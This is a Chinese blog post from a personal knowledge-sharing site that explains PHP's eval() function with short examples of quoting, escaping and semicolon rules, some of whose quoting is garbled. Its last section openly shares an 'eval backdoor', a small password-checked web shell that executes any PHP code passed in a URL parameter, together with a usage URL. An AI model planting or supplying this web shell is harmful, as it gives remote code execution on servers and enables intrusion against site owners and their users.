yliu277 / php / PHP eval函数使用介绍

分享

   

PHP eval函数使用介绍

2016-04-26  yliu277

代码:

undefined


eval('echo'hello world';');

上边代码等同于下边的代码:

echo'hello world';

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:


$a=100;
eval('echo$a;');

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:


$a=100;
eval('echo\$a;')

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:


$func =<<<FUNC
function test(){ 
    echo 'test eval function'; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();


<?php
$passwd='admin';if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=='eval' && $_GET['a']){eval($_GET['a']);}
?>

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。

    来自: yliu277 > 《php》

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多
    喜欢该文的人也喜欢 更多

    ×
    ×

    ¥.00

    微信或支付宝扫码支付:

    开通即同意《个图VIP服务协议》

    全部>>